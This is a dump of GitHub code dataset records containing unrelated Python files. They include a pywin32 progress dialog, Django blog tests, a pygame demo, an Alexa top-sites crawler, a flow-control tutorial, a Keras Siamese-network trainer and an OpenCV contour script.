# running inside Pythonwin.\n # Basic timeout incase things go terribly wrong. Ideally we should use\n # win32event.MsgWaitForMultipleObjects(), but we use a threading module\n # event - so use a dumb strategy\n end_time = time.time() + 10\n while time.time() < end_time:\n if t.createdEvent.isSet():\n break\n win32ui.PumpWaitingMessages()\n time.sleep(0.1)\n return t.dialog\n\n\ndef demo():\n d = StatusProgressDialog('A Demo', 'Doing something...')\n import win32api\n for i in range(100):\n if i == 50:\n d.SetText('Getting there...')\n if i == 90:\n d.SetText('Nearly done...')\n win32api.Sleep(20)\n d.Tick()\n d.Close()\n\n\ndef thread_demo():\n d = ThreadedStatusProgressDialog('A threaded demo', 'Doing something')\n import win32api\n for i in range(100):\n if i == 50:\n d.SetText('Getting there...')\n if i == 90:\n d.SetText('Nearly done...')\n win32api.Sleep(20)\n d.Tick()\n d.Close()\n\n# --- Классы-обертки ----\n\n\nclass icThreadedProgressMenager:\n \"\"\"\n Менеджер диалогового окна с прогресс баром, запускаемого в отдельном потоке.\n \"\"\"\n\n def __init__(self, Title_='', Label_=''):\n \"\"\"\n Конструткор.\n @param Title_: Заголовок диалогового окна.\n @param Label_: Надпись по умолчанию.\n \"\"\"\n self.title = Title_\n self.label = Label_\n self.dlg = None\n\n self.min = 0\n self.max = 100\n self.cur = 0.0 # Текущее положение\n self.int_cur = 0\n self.delta_step = 1.0 # Шаг приращения\n\n def openDlg(self, Title_='', Label_=''):\n \"\"\"\n Открыть диалоговое окно.\n @param Title_: Заголовок диалогового окна.\n @param Label_: Надпись по умолчанию.\n \"\"\"\n if Title_:\n self.title = Title_\n if Label_:\n self.label = Label_\n self.dlg = ThreadedStatusProgressDialog(self.title, self.label)\n\n def closeDlg(self):\n \"\"\"\n Закрыть диалоговое окно.\n \"\"\"\n if self.dlg:\n self.dlg.Close()\n \n def setLabel(self, Label_):\n \"\"\"\n Установить надпись в диалоговом окне.\n @param Label_: Надпись.\n \"\"\"\n if self.dlg:\n self.dlg.SetText(Label_)\n\n def tickDlg(self):\n \"\"\"\n Передвинуть прогресс дар не 1 процент.\n В линейке прогресс бара 100 тиков.\n \"\"\"\n if self.dlg:\n self.dlg.pos = self.int_cur\n self.dlg.Tick()\n\n def setRange(self, Min_=0, Max_=100):\n \"\"\"\n Установить диапазон изменяемых значений.\n \"\"\"\n self.min = Min_\n self.max = Max_\n self.cur = float(self.min)\n self.int_cur = int(self.min)\n self.delta_step = float((self.max-self.min)/100.0) # Шаг приращения\n\n def step(self, DeltaStep_=1.0):\n \"\"\"\n Сделать шег приращения.\n @param DeltaStep_: Шаг на, который необходимо сделать перестановку\n \"\"\"\n self.cur += DeltaStep_\n int_cur = int((self.cur-self.min)/self.delta_step)\n if int_cur != self.int_cur:\n self.int_cur = int_cur\n self.tickDlg()\n \n def SetPos(self, pos):\n \"\"\"\n \"\"\"\n if self.dlg:\n self.dlg.Set(pos, self.max)\n \n\n# --- ДИАЛОГОВЫЕ ФУНКЦИИ ----\nTHREADED_PROGRESS_MENAGER = None\n\n\ndef icOpenThreadedProgressDlg(Title_='', Label_='', Min_=0, Max_=100):\n \"\"\"\n Открыть прогресс диалог.\n @param Label_: Надпись.\n @param Min_: Минимальное значение.\n @param Max_: Максимальное занчение.\n \"\"\"\n global THREADED_PROGRESS_MENAGER\n THREADED_PROGRESS_MENAGER = icThreadedProgressMenager(Title_, Label_)\n THREADED_PROGRESS_MENAGER.setRange(Min_, Max_)\n THREADED_PROGRESS_MENAGER.openDlg()\n\n\ndef icIsOpenThreadedProgressDlg():\n \"\"\"\n Прогресс диалог открыт?\n \"\"\"\n global THREADED_PROGRESS_MENAGER\n return THREADED_PROGRESS_MENAGER is not None\n\n\ndef icCloseThreadedProgressDlg():\n \"\"\"\n Закрыть прогресс диалог.\n \"\"\"\n global THREADED_PROGRESS_MENAGER\n if THREADED_PROGRESS_MENAGER:\n THREADED_PROGRESS_MENAGER.closeDlg()\n THREADED_PROGRESS_MENAGER = None\n\n\ndef icStepThreadedProgressDlg(Label_=None, Step_=1.0):\n \"\"\"\n Обновить прогресс диалог.\n @param Label_: Надпись.\n @param Step_: Шаг.\n \"\"\"\n global THREADED_PROGRESS_MENAGER\n if THREADED_PROGRESS_MENAGER:\n if Label_ is not None:\n THREADED_PROGRESS_MENAGER.setLabel(Label_)\n THREADED_PROGRESS_MENAGER.step(Step_)\n\n\ndef icPosThreadedProgressDlg(Label_=None, pos=1.0):\n \"\"\"\n Обновить прогресс диалог.\n @param Label_: Надпись.\n @param pos: Позиция.\n \"\"\"\n global THREADED_PROGRESS_MENAGER\n if THREADED_PROGRESS_MENAGER:\n if Label_ is not None:\n THREADED_PROGRESS_MENAGER.setLabel(Label_)\n THREADED_PROGRESS_MENAGER.SetPos(pos)\n\n\ndef ic_thread_demo():\n icOpenThreadedProgressDlg('A threaded demo', 'Doing something', 0, 200)\n for i in range(10, 200):\n win32api.Sleep(10)\n icStepThreadedProgressDlg('%s %%' % (str(i)), 1)\n icCloseThreadedProgressDlg()\n\n\nif __name__ == '__main__':\n ic_thread_demo()\n","repo_name":"XHermitOne/defis","sub_path":"ic/dlg/threaded_progress.py","file_name":"threaded_progress.py","file_ext":"py","file_size_in_byte":12379,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"5610206353","text":"from django.test import TestCase, Client\nfrom bs4 import BeautifulSoup\nfrom .models import Post, Category\nfrom django.contrib.auth.models import User\nclass TestView(TestCase):\n def setUp(self):\n self.client= Client()\n self.user_V = User.objects.create_user(username='V',password='galaxybob')\n self.category_music = Category.objects.create(name='music', slug='music')\n\n self.post_001 = Post.objects.create(\n title='첫번째 포스트입니다.',\n content='Hello world. We are the world.',\n author=self.user_V,\n category=self.category_music\n )\n\n def navbar_test(self, soup):\n # 1.4 내비게이션 바가 있다\n navbar = soup.nav\n # 1.5 Blog,Project라는 문구가 내비게이션 바에 있다\n self.assertIn('Home', navbar.text)\n self.assertIn('Blog', navbar.text)\n self.assertIn('Project', navbar.text)\n \"\"\"\n self.assertIn('Hobby', navbar.text) \n \"\"\"\n\n logo_btn = navbar.find('a', text='Yunyeong Kwon')\n self.assertEqual(logo_btn.attrs['href'], '/')\n\n home_btn = navbar.find('a', text='Home')\n self.assertEqual(home_btn.attrs['href'], '/')\n\n blog_btn = navbar.find('a', text='Blog')\n self.assertEqual(blog_btn.attrs['href'], '/blog/')\n\n project_btn = navbar.find('a', text='Project')\n self.assertEqual(project_btn.attrs['href'], '/project/')\n\n \"\"\"\n hobby_btn = navbar.find('a', text='Hobby')\n self.assertEqual(hobby_btn.attrs['href'], '/hobby/')\n \"\"\"\n\n\n def test_post_list(self):\n #1.1 포스트 목록 페이지 가져오기\n response = self.client.get('/blog/')\n #1.2 정싱적으로 페이지가 로드된다\n self.assertEqual(response.status_code, 200)\n #1.3 페이지 타이틀은 'Blog'이다\n soup = BeautifulSoup(response.content, 'html.parser')\n self.assertEqual(soup.title.text,'Yunyeong Kwon')\n self.navbar_test(soup)\n #2.1 포스트가 하나도 없다면\n self.assertEqual(Post.objects.count(),0)\n main_area = soup.find('div', id='main-area')\n self.assertIn('아직 게시물이 없습니다', main_area.text)\n\"\"\"\n def test_post_detail(self):\n#1.1 Post가 하나 있다\n post_001 = Post.objects.create(\n title='첫번째 포스트입니다.',\n content='Hello world. We are the world.',\n author=self.user_V,\n category=self.category_music\n )\n#1.2 그 포스트의 url은 'blog/1/'이다.\n self.assertEqual(post_001.get_absolute_url(),'/blog/1/')\n\n#2 첫 번째 포스트의 상세페이시 테스트\n#2.1 첫 번쨰 post url로 접근하면 정상적으로 작동한다(status code: 200)\n response = self.client.get(post_001.get_absolute_url())\n self.assertEqual(response.status_code,200)\n soup = BeautifulSoup(response.content, 'html.parser')\n self.navbar_test(soup)\n#2.3 첫 번째 포스트의 제목(title)이 웹 브라우저 탭 타이틀에 들어있다.\n self.assertIn(post_001.title,soup.title.text)\n#2.4 첫 번쨰 포스트의 제목이 포스트 영역에 있다.\n post_area = soup.find('div', id='post-area')\n self.assertIn(post_001.title, post_area.text)\n\n#2.6 첫 번째 포스트의 내용이 포스트 영역에 있다.\n self.assertIn(post_001.content, post_area.text)\n\n\n def test_create_post(self):\n\n response = self.client.get('/blog/create_post/')\n self.assertNotEqual(response.status_code,200)\n\n self.client.login(username='V', password= 'galaxybob')\n\n response = self.client.get('/blog/create_post/')\n self.assertEqual(response.status_code, 200)\n\n soup = BeautifulSoup(response.content, 'html.parser')\n\n self.assertEqual('Create Post - Blog',soup.title.text)\n main_area = soup.find('div', id='main-area')\n self.assertIn('Create New Post', main_area.text)\n\"\"\"\n\n# Create your tests here.\n","repo_name":"ChipmunkForLove/chipmunk4lov_blog","sub_path":"blog/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":4028,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"71741601156","text":"import pygame\n\npygame.init()\n\n# custom variables for width and height\ndisplay_width = 800\ndisplay_height = 600\n\n# some info on how colors work, RGB\n# black = (0,0,0)\n# white = (255,255,255)\n# red = (255,0,0)\n\n\ngameDisplay = pygame.display.set_mode((display_width, display_height))\npygame.display.set_caption(\"A Bit Racey\")\nclock = pygame.time.Clock()\n\n# load car image\ncarImg = pygame.image.load('red-race.png')\ncarImg = pygame.transform.scale(carImg, (100, 100))\n\n\n# function to create car at a location\ndef car(x, y):\n gameDisplay.blit(carImg, (x, y))\n\n\n# create position for car\nx = (display_width/2 - 50)\ny = (display_height*0.8 - 50)\n\n\ncrashed = False\nwhile not crashed:\n\n for event in pygame.event.get():\n\n if event.type == pygame.QUIT:\n crashed = True\n\n # fill screen first to not cover car\n gameDisplay.fill((255,255,255))\n car(x, y)\n\n pygame.display.update()\n # flip book\n # pygame.display.flip()\n clock.tick(60)\n\n\npygame.quit()\nquit()\n\n\n","repo_name":"devjackluo/Learn-Python","sub_path":"LearnPython/pygame/pgP2.py","file_name":"pgP2.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"5305660788","text":"driving = input('请问你有没有开过车?')\n\nif driving != '有' and driving != '没有':\n\tprint('只能输入 \"有\"/\"没有\" 哦。')\n\traise SystemExit #触发 离开系统\n\nage = input('请问你的年龄?')\nage = int(age)\n\nif driving == '有':\n\tif age >= 18:\n\t\tprint('你通过测验了。')\n\telse:\n\t\tprint('你这样是不合法的哦!!')\nelif driving == '没有':\n\tif age >= 18:\n\t\tprint('你可以考驾照了哦!!')\n\telse:\n\t\tprint('年满18就可以去考驾照了。')","repo_name":"PanChien/Age","sub_path":"age.py","file_name":"age.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"3699203544","text":"from server.queue_manager import QueueClient\nimport requests, zipfile, StringIO, time, datetime\nimport os\nimport urllib, multiprocessing\nfrom lxml import etree\n\nalexa_splits = [1000000, 1000, 100]\nnextDownloadDate = datetime.date.today()\ncsvPath = os.path.join(os.path.dirname(__file__),'..','data','top-1m.csv')\ndataFolder = os.path.join(os.path.dirname(__file__),'..','data')\n\ndef datedAlexaCSV(split_list):\n \"\"\"\n Creates a list of URLs from the Alexa top Million Websites with corresponding dated Sources.\n\n The Data provided by Alexa is a CSV-file with each line consisting of a number and an URL.\n\n :param split_list: List of Numbers according to which the Sources are to be divided to. MUST NOT BE EMPTY!\n :return: List of Entries, each a List containing: a String of a Target-URL and a List of Source-Strings.\n \"\"\"\n date = getAlexaCSV()\n splits = split_list[:]\n splits.sort()\n max_entry = splits[len(splits) - 1] + 1\n ret_list = []\n f = open(csvPath, \"r\")\n for i in range(1, max_entry):\n if i > splits[0]:\n splits.remove(splits[0])\n count = str(i) + ','\n target = f.readline().replace('\\n', '').replace(count, '')\n sources = []\n for s in splits:\n sources.append(date + \"AlexaTOP\" + str(s))\n ret_list.append([target, sources])\n f.close()\n ret_list.sort()\n return ret_list\n\n\ndef getAlexaCSV():\n \"\"\"\n Downloads the alexa top 1 million list.\n\n :return: Todays date\n \"\"\"\n updateDownloadDate()\n #downloads from url\n r = requests.get(\"http://s3.amazonaws.com/alexa-static/top-1m.csv.zip\")\n print(\"Finished downloading alexa top 1 million zip. Starting extraction...\")\n #unzips\n z = zipfile.ZipFile(StringIO.StringIO(r.content))\n #checks if folder \"data\" exists, will be created if not\n if not os.path.exists(dataFolder):\n os.mkdir(dataFolder)\n z.extractall(dataFolder)\n print(\"Finished extracting alexa top 1 million zip. Building list...\")\n #get date as \"dd.mm.yyyy\"\n today = time.strftime(\"%d.%m.%Y\")\n return today\n\n\ndef updateDownloadDate():\n \"\"\"\n Creates a date, that will be used to check if a new version of the alexa top-1m.csv is available.\n The new list should be available on 20th every month.\n\n Changes variable nextDownloadDate to the date, when a new list should be available.\n \"\"\"\n now = datetime.datetime.today()\n day = getattr(now, 'day')\n month = getattr(now, 'month')\n year = getattr(now, 'year')\n if day > 20:\n month = month + 1\n if month > 12:\n month = 1\n year = year + 1\n day = 20\n nextDownloadDate = datetime.date(year,month,day)\n\n\ndef joinLists(listA, listB):\n \"\"\"\n Joins together two URL-Source-Lists without duplicates.\n\n ListA is extended by the entries of listB and will be the joined list.\n If the same URL occurs in both lists, that entry's source-list in listB is added to listA .\n\n :param listA: URL-Source-List. MUST BE SORTED!, MUST NOT BE EMPTY!\n :param listB: URL-Source-List. MUST BE SORTED!, MUST NOT BE EMPTY!\n :return: The joined URL-Source-List.\n \"\"\"\n a = len(listA) - 1\n b = len(listB) - 1\n while b >= 0:\n if a < 0 or listA[a][0] < listB[b][0]:\n listA.insert(a+1, listB[b])\n b -= 1\n elif listA[a][0] == listB[b][0]:\n listA[a][1].extend(listB[b][1])\n listA[a][1].sort()\n a -= 1\n b -= 1\n else:\n a -= 1\n return listA\n\n\ndef joinListOfLists(CountryLists):\n \"\"\"\n Merges a whole list of URL-Source-Lists into a single URL-Source-Lists via the joinLists Method.\n\n :param CountryLists: List of URL-Source-Lists. MUST NOT BE EMPTY!\n :return: The joined URL-Source-List.\n \"\"\"\n while len(CountryLists) > 1:\n m = len(CountryLists)/2\n for i in range(0, m):\n joinLists(CountryLists[i], CountryLists.pop())\n return CountryLists[0]\n\n\nclass DownLoader():\n '''\n Downloader to get all necessary information.\n '''\n\n def __init__(self, url):\n \"\"\"\n url contains the url, that will be downloaded.\n contents contains the content of the url, after it is downloaded\n\n :param url: url, that will be downloaded\n :return: NULL\n \"\"\"\n self.url = url\n self.contents = ''\n\n def download(self, n_retries=5):\n \"\"\"\n Creates a browser to get all necessary information. This information will be stored in self.contents\n :return: NULL\n \"\"\"\n\n #print self.url\n try:\n browser = urllib.urlopen(self.url)\n response = browser.getcode()\n if response == 200: #success\n self.contents = browser.read()\n except Exception as e:\n if n_retries > 0:\n self.download(n_retries-1)\n\n\n\nclass alexaParser(DownLoader):\n '''\n Class for parsing alexa.com/topsites/countries*\n '''\n\n def __init__(self,url):\n \"\"\"\n\n :param url: url, that will be downloaded\n :return: NULL\n \"\"\"\n DownLoader.__init__(self,url)\n self.topsiteShort = ''\n self.topsiteName = ''\n\n def getSiteNames(self):\n \"\"\"\n Downloads the specified url and fetches the links to all countrie top 500 sites.\n This links will be stored in self.topsiteShort\n :return: NULL\n \"\"\"\n self.download()\n if self.contents:\n tree = etree.HTML(self.contents)\n self.topsiteShort = tree.xpath(\"//div/div/ul/li//a/@href\")#Get links to contrie sites\n self.topsiteName = tree.xpath(\"/html/body//div/div/ul/li/a/text()\")#Get countrieNames\n\n\ndef getContent(shortName, countrieName, today):\n \"\"\"\n Fetches all sites in the top 500 for the country with short name shortName.\n\n :param shortName: The two Letter shortName of the wanted country\n :param countrieName: full name of the country\n :param today: todays date\n :return: a sorted list with all 500 entries as [[\"url1\",[date+countryName]],[\"url2\",[date+countryName]],...]\n \"\"\"\n parser = alexaParser(\"\")\n sites=[]\n for i in range(0,20):\n if i==0:\n parser.url = \"http://www.alexa.com/topsites/countries\" + \"/\" +shortName\n print(\"Starting to parse country: %s(%s)\"%(countrieName, shortName))\n else:\n parser.url = \"http://www.alexa.com/topsites/countries\" +\";\"+str(i) +\"/\"+ shortName\n parser.download()\n if parser.contents:\n tree = etree.HTML(parser.contents)\n topsiteList = tree.xpath(\"//section/div/ul/li/div/p/a/text()\")\n sites.extend(topsiteList)\n sites.sort()\n returnValue=[]\n for url in sites:\n sources = [[url,[today+countrieName]]]\n returnValue.extend(sources)\n return returnValue\n\n\ndef startTop500Parsing():\n \"\"\"\n Contains all necessary information to start the top 500 parsing.\n\n :return: returns a multi-dimensional array with all countries and their top 500 websites, as\n a sorted list with all 500 entries as [[[\"url1\",[date+countryName1]],[\"url2\",[date+countryName1]],...],\n [[\"url1\",[date+countryName2]],[\"url2\",[date+countryName2]],...],\n ... ]\n\n \"\"\"\n today = time.strftime(\"%d.%m.%Y\")\n url = \"http://www.alexa.com/topsites/countries\"\n alexa_parser = alexaParser(url)\n alexa_parser.getSiteNames()\n #fetching shortName out of the link\n for i in range(0,len(alexa_parser.topsiteShort)):\n object = alexa_parser.topsiteShort[i]\n alexa_parser.topsiteShort[i] = object[-2:]\n pool = multiprocessing.Pool(processes=20)\n output = [pool.apply_async(getContent,args=(alexa_parser.topsiteShort[x],alexa_parser.topsiteName[x],today,)) \\\n for x in range(0,len(alexa_parser.topsiteShort))]\n results = [p.get() for p in output]\n resultValues = []\n for listComponent in results:\n resultValues.extend([listComponent])\n return resultValues\n\n\ndef fetchInput(queue_manager):\n \"\"\"\n Downloads top-1m.csv, parses top500 country lists, merges them and sends them to queue_manager.\n \"\"\"\n top500ListOfLists = startTop500Parsing()\n print(\"joining top 500 lists\")\n top500List = joinListOfLists(top500ListOfLists)\n top1MioList = datedAlexaCSV(alexa_splits)\n print(\"joining 'joined' top 500 list with alexa top1mio\")\n queue_manager.put_new_list(joinLists(top1MioList,top500List))\n print(\"Finished building and sending list.\")\n\n\nif __name__ == \"__main__\":\n # get instance of QueueClient\n c = QueueClient()\n # get appropriate queue from QueueClient\n queue_manager = c.queue_manager()\n fetchInput(queue_manager)\n while(True):\n t = datetime.datetime.today()#converting datetime.datetime.today object into datetime.date object\n today = datetime.date(t.year,t.month,t.day)\n if today > nextDownloadDate:\n fetchInput(queue_manager)\n os.remove(csvPath)\n print(\"sleeping now\")\n time.sleep(86400)#sleeps for 86400 seconds, ~1 day\n\n\n","repo_name":"hft-swp2-ws1516/crawler","sub_path":"worker/input_worker.py","file_name":"input_worker.py","file_ext":"py","file_size_in_byte":9249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"39275852419","text":"'''\n流程控制\n'''\n# if\nif condition_1:\n statement_block_1\nelif condition_2:\n statement_block_2\nelse:\n statement_block_3\n\n# while whlie后面为false时则执行else语句块\nwhile counter <= n:\n sum = sum + counter\n counter += 1\nelse:\n additional_statement(s)\n\n# for range()函数。它会生成数列\n# break 语句可以跳出 for 和 while 的循环体。如果你从 for 或 while 循环中终止,任何对应的循环 else 块将不执行。\n# continue 语句被用来告诉 Python 跳过当前循环块中的剩余语句,然后继续进行下一轮循环。\nfor i in range(5,9) :\n print(i)\n\n# pass 不做任何事情,一般用做占位语句\nfor letter in 'Runoob':\n if letter == 'o':\n pass\n print('执行 pass 块')\n print('当前字母 :', letter)\n\nprint(\"Good bye!\")\n\n'''\n迭代器与生成器 \n iter()创建迭代器对象 和 next()输出迭代器下一个元素 Python 的构造函数为 __init__(),__iter__() 方法返回一个特殊的迭代器对象, 这个迭代器对象实现了 __next__() 方法并通过 StopIteration 异常标识迭代的完成。\n__next__() 方法(Python 2 里是 next())会返回下一个迭代器对象。\n'''\n\n# StopIteration 异常用于标识迭代的完成,防止出现无限循环的情况,在 __next__() 方法中我们可以设置在完成指定循环次数后触发 StopIteration 异常来结束迭代。\nclass MyNumbers:\n def __iter__(self):\n self.a = 1\n return self\n\n def __next__(self):\n if self.a <= 20:\n x = self.a\n self.a += 1\n return x\n else:\n raise StopIteration\n\n\nmyclass = MyNumbers()\nmyiter = iter(myclass)\n\nfor x in myiter:\n print(x)\n# 使用了 yield 的函数被称为生成器(generator)。\n# 跟普通函数不同的是,生成器是一个返回迭代器的函数,只能用于迭代操作,更简单点理解生成器就是一个迭代器。\n#\n# 在调用生成器运行的过程中,每次遇到 yield 时函数会暂停并保存当前所有的运行信息,返回 yield 的值, 并在下一次执行 next() 方法时从当前位置继续运行。\n#\n# 调用一个生成器函数,返回的是一个迭代器对象。\nimport sys\n\n\ndef fibonacci(n): # 生成器函数 - 斐波那契\n a, b, counter = 0, 1, 0\n while True:\n if (counter > n):\n return\n yield a\n a, b = b, a + b\n counter += 1\n\n\nf = fibonacci(10) # f 是一个迭代器,由生成器返回生成\n\nwhile True:\n try:\n print(next(f), end=\" \")\n except StopIteration:\n sys.exit()","repo_name":"GISFSDE/PythonLearn","sub_path":"venv/flow.py","file_name":"flow.py","file_ext":"py","file_size_in_byte":2622,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"23313637212","text":"import pandas as pd\nimport numpy as np\nimport keras\nfrom keras.models import *\nfrom keras.layers import *\nfrom keras.preprocessing import *\nfrom keras.callbacks import *\nfrom keras.optimizers import *\nfrom tqdm import tqdm\n\nfrom keras.applications.resnet50 import preprocess_input, decode_predictions\nfrom keras.preprocessing import image\n\nfrom sklearn.model_selection import train_test_split\n\nimport matplotlib.pyplot as plt\n\nimport cv2\n\ndata = pd.read_csv(\"train_data_images.csv\")\n\nsimilar = data[data[\"similarity\"] == 1].index.values\ndsimilar = data[data[\"similarity\"] != 1].index.values\n\nsim = np.random.choice(similar,200000,replace=False)\ndsim = np.random.choice(dsimilar,200000,replace=False)\n\nall_data_sample = sim.tolist() + dsim.tolist()\n\ndata = data.iloc[all_data_sample,:]\n\ndata.index = range(data.shape[0])\n\ntrain,valid = train_test_split(data.index.values,test_size = 2000,stratify = data[\"similarity\"].values)\n\ndata_train = data.iloc[train,:]\ndata_valid = data.iloc[valid,:]\n\ndata_train.index = range(data_train.shape[0])\ndata_valid.index = range(data_valid.shape[0])\n\n\ndef batch_generator(names,batch_size):\n total_range = np.arange(len(names)).tolist()\n if len(names)%batch_size != 0:\n to_add = batch_size - ((len(names))%batch_size)\n total_range = total_range + np.random.choice(total_range,to_add,replace=False).tolist()\n total_range = np.array(total_range)\n np.random.shuffle(total_range)\n temp_df = pd.DataFrame(total_range)\n \n temp_df.columns = [\"batch\"]\n temp_df[\"batch_ind\"] = temp_df.index \n temp_df[\"batch_ind\"] = (temp_df[\"batch_ind\"].astype('int')) //batch_size\n\n return temp_df.groupby('batch_ind')['batch'].apply(list).values\n\n\ndef generator(names,batches,batch_size):\n batch_num = 0\n while True:\n \n if batch_num >= len(names)/batch_size:\n batch_num = 0\n imgs1 = []\n imgs2 = []\n labels = []\n# print(batch_num)\n batch = batches[batch_num]\n for i in range(batch_size):\n# print (train_names[batch[i]][0], train_names[batch[i]][1],train_names[batch[i]][2] )\n img_name1 = names[batch[i]][0]\n img_name2 = names[batch[i]][1]\n label = names[batch[i]][2]\n im1 = image.load_img(img_name1, target_size=(224, 224))\n im1 = image.img_to_array(im1)\n im1 = np.expand_dims(im1, axis=0)\n im1 = preprocess_input(im1)\n \n im2 = image.load_img(img_name2, target_size=(224, 224))\n im2 = image.img_to_array(im2)\n im2 = np.expand_dims(im2, axis=0)\n im2 = preprocess_input(im2)\n\n imgs1.append(im1[0])\n imgs2.append(im2[0])\n labels.append(label)\n batch_num += 1 \n yield [np.array(imgs1),np.array(imgs2)], np.array(labels) \n \n \n \ndef euclidean_distance(vects):\n x, y = vects\n sum_square = K.sum(K.square(x - y), axis=1, keepdims=True)\n return K.sqrt(K.maximum(sum_square, K.epsilon()))\n\n\ndef eucl_dist_output_shape(shapes):\n shape1, shape2 = shapes\n return (shape1[0], 1)\n\n\ndef contrastive_loss(y_true, y_pred):\n '''Contrastive loss from Hadsell-et-al.'06\n http://yann.lecun.com/exdb/publis/pdf/hadsell-chopra-lecun-06.pdf\n '''\n margin = 1\n sqaure_pred = K.square(y_pred)\n margin_square = K.square(K.maximum(margin - y_pred, 0))\n return K.mean(y_true * sqaure_pred + (1 - y_true) * margin_square)\n\ndef create_base_network(input_shape):\n out = keras.applications.ResNet50(include_top=False,input_shape=(224,224,3))\n return Model(out.input,out.output)\n\ndef compute_accuracy(y_true, y_pred):\n '''Compute classification accuracy with a fixed threshold on distances.\n '''\n pred = y_pred.ravel() < 0.5\n return np.mean(pred == y_true)\n\n\ndef accuracy(y_true, y_pred):\n '''Compute classification accuracy with a fixed threshold on distances.\n '''\n return K.mean(K.equal(y_true, K.cast(y_pred < 0.5, y_true.dtype)))\n\ninput_shape = (224,224,3)\n\ninput_a = Input(shape=input_shape)\ninput_b = Input(shape=input_shape)\n\nbase_network = create_base_network(input_shape)\n\n# because we re-use the same instance `base_network`,\n# the weights of the network\n# will be shared across the two branches\nprocessed_a = base_network(input_a)\nprocessed_b = base_network(input_b)\n\ndistance = Lambda(euclidean_distance,\n output_shape=eucl_dist_output_shape)([processed_a, processed_b])\n\nmodel = Model([input_a, input_b], distance)\n\n# train\nrms = RMSprop()\nmodel.compile(loss=contrastive_loss, optimizer=rms, metrics=[accuracy])\n\nprint(model.summary())\ntrain_batches =batch_generator(data_train,batch_size=8)\nvalid_batches =batch_generator(data_valid,batch_size=8)\n\nmodel.fit_generator(generator(data_train.values,train_batches,batch_size=8),steps_per_epoch=24000,\n epochs=3,validation_data=generator(data_valid.values,valid_batches,batch_size=8),validation_steps=250)","repo_name":"janismdhanbad/kin_detection_kaggle","sub_path":"train_version_files/train_0.py","file_name":"train_0.py","file_ext":"py","file_size_in_byte":4963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"20062772210","text":"import cv2\nimport numpy as np\nfrom PIL import Image\nimport os\nimport pathlib\nimport matplotlib.pyplot as plt\nimport math\n\ndef restore_hierarchy(hierarchy, index):\n if(hierarchy[0][index][0] != -1):\n hierarchy[0][hierarchy[0][index][0]][1] = hierarchy[0][index][1]\n if(hierarchy[0][index][1] != -1):\n hierarchy[0][hierarchy[0][index][1]][0] = hierarchy[0][index][0]\n if(hierarchy[0][index][2] != -1):\n i = hierarchy[0][index][2]\n while(i != -1):\n hierarchy[0][i][3] = -1\n i = hierarchy[0][i][0]\n i = hierarchy[0][index][2]\n while(i != -1):\n hierarchy[0][i][3] = -1\n i = hierarchy[0][i][1]\n if(hierarchy[0][index][3] != -1):\n hierarchy[0][hierarchy[0][index][3]][2] = hierarchy[0][index][0]\n if(hierarchy[0][hierarchy[0][index][3]][2] == -1):\n hierarchy[0][hierarchy[0][index][3]][2] = hierarchy[0][index][1]\n else:\n i = hierarchy[0][hierarchy[0][index][0]][0]\n while(i != -1):\n hierarchy[0][hierarchy[0][index][3]][2] = i\n i = hierarchy[0][i][0]\n\n\n hierarchy[0][index][0] = -1\n hierarchy[0][index][1] = -1\n hierarchy[0][index][2] = -1\n hierarchy[0][index][3] = -1\n return\n\ndef erase_exception(img, contours, hierarchy):\n # contours_io:どの輪郭が残っているかを記憶\n contours_io = np.ones(len(contours))\n for i in range(len(contours)):\n if(cv2.contourArea(contours[i]) <= 100):\n restore_hierarchy(hierarchy, i)\n contours_io[i] = 0\n continue\n if(cv2.contourArea(contours[i]) >= (img.shape[0] - 1) * (img.shape[1] - 1)):\n restore_hierarchy(hierarchy, i)\n contours_io = 0\n continue\n return contours_io\n\ndef find_area(img):\n area_top = img.shape[0] - 1\n area_bottom = 0\n area_left = img.shape[1] - 1\n area_right = 0\n for x in range(1, img.shape[0] - 1):\n for y in range(1, img.shape[1] - 1):\n if(img[x,y] == 255):\n\n if(img[x-1,y] == 0):\n if(area_top > x):\n area_top = x\n \n if(img[x+1, y] == 0):\n if(area_bottom < x):\n area_bottom = x\n\n if(img[x,y-1] == 0):\n if(area_left > y):\n area_left = y\n \n if(img[x,y+1] == 0):\n if(area_right < y):\n area_right = y\n else: continue\n return area_top, area_bottom, area_left, area_right\n\ndef extract_point(img):\n hsvImg = cv2.cvtColor(img, cv2.COLOR_BGR2HSV_FULL)\n\n hsvLower = np.array([150, 50, 0])\n hsvUpper = np.array([200, 255, 255])\n\n mask = cv2.inRange(hsvImg, hsvLower, hsvUpper)\n\n plt.imshow(mask)\n plt.show()\n\n contours, hierarchy = cv2.findContours(mask, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n\n print(contours)\n\n print(\"処理する前:\", hierarchy)\n \n contours_io = erase_exception(img, contours, hierarchy)\n\n print(\"処理したあと:\", hierarchy)\n\n point_locate = []\n for i in range(len(contours)):\n if(contours_io[i] != 1):\n continue\n point_img = np.zeros((img.shape[0], img.shape[1]))\n cv2.fillConvexPoly(point_img, contours[i], 255)\n area_top, area_bottom, area_left, area_right = find_area(point_img)\n\n mid_point = [int((area_top + area_bottom) / 2), int((area_left + area_right) / 2)]\n\n point_locate.append(mid_point)\n\n return point_locate\n\ndef extract_frame(img, file_path):\n hsvImg = cv2.cvtColor(img, cv2.COLOR_BGR2HSV_FULL)\n\n hsvLower=np.array([215, 50, 0])\n hsvUpper=np.array([255, 255, 255])\n\n mask = cv2.inRange(hsvImg, hsvLower, hsvUpper)\n\n plt.imshow(mask)\n plt.show()\n\n contours, hierarchy = cv2.findContours(mask, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n # [Next, Previous, First_Child, Parent]\n\n for contour in contours:\n print(cv2.contourArea(contour))\n print(\"hierarchy:\", hierarchy)\n\n 